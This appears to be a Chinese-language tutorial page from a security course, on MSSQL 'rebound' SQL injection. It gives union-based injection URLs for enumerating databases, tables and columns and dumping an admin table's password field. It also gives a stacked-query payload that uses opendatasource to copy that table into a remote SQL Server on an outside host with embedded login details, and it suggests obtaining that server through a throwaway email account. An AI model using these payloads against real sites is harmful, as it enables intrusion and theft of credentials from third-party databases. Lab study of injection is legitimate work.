网络安全从入门到精通(第六章-4)MSsql注入 —— 反弹注入

MSsql注入 —— 反弹注入 本文内容: ~MSSQL反弹注入使用场景 ~快速搭建一个MSSQL环境(骚姿势) ~MSSQL反弹注入语句解析 ~MSSQL实战注意

一、MSSQL反弹注入使用场景
0,MSSQL数据库就是Sql server数据库 1,前言 MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大, 存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路 2,遇到问题 明明有注入点却无法进行注入,工具攻击速度也是异常缓慢,错误提示信息关闭, 无法返回注入结果,这些都是在注入攻击中常常遇到的问题。为例解决以上的疑难杂症, 我们来学习反弹注入,反弹注入则依靠opendatasource函数支持 3,简单总结 反弹注入就是利用opendatasource函数,将当前数据库中的查询结果发送给另一个数据库中

二、快速搭建一个MSSQL环境(骚姿势)
1,利用十分重邮箱(例如:bccto.me)在香港云上白嫖一个服务器(webweb.com) 2,根据目标数据库,建立相同类型数据库,建立表(表名随意),字段(名字随意,字段一定相同)

【网络安全从入门到精通(第六章-4)MSsql注入 —— 反弹注入】三、MSSQL反弹注入语句解析
1,注意测试的数据库是sql server时,语句有点不太一样 例如:url id=1 id=1' union all select null,null,null from news -- qwe 提一下: ~union后注意有个 all ~select后,不可以加1,2,3,也不是不可以,这的数据类型要一致。 因为一般来说,我们都不知道,所以写null,即无类型 之后,可以用asd来测试是不是字符,这样以此来测试 2,直接在sql server数据库中查询 查库: select name from dbo.sysdatabases 或者:select *from dbo.sysdatabases //name是库默认属性 //查询所有库,查出来有默认库, 查表: select *from dbo.sysobjects where xtype='U' //稍微改一点关键词,注意增加xtype判断,后边的‘U’是用户的意思 //代表查询用户创建的表,不然会查出很多表, 查字段:select *from dbo.syscolumns where id=111

注意:
一般不查库也行,毕竟很多东西都放在同一个库中 id是SQL server表默认的字段,类似的还有name额外提一个系统自带表:master 他是保存了,所有的库名,以及库的ID,和一些相关信息。 在查系统所有库的时候,完整的语句应该是:select*frommaster.dbo.sysdatabases 3,搞靶场中 测试:url id=1'-->url id=1'-- qwe 猜字段: url id=1' order by 3 -- qwe//假设3个字段 查库名: url id=1' union all 查表名: url id=1' union all select id,name,null from dbo.sysobjects where xtype='U' -- qwe 查字段: url id=1' union all select null,name,null from dbo.syscolumns where id=xxxxxx -- qwe 查内容: url id=1' union all select null,passwd,null from admin-- qwe //这个passwd是之前爆出的字段 4,反弹注入语句 url?id=1'; insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433; uid=DB_14B8A62_AB_admin; pwd=123456789; database=DB_14B8A62_AB').DB_14B8A62_AB_dbo.a select * from admin -- wqe

四、MSSQL反弹注入实战注意
1,目标数据库要和自己搭建的一致, mysql对应mysql sql server 对应sql server 2,“; ”结尾,堆叠注入 不能用and代替,堆叠语句就是执行多条数据

    推荐阅读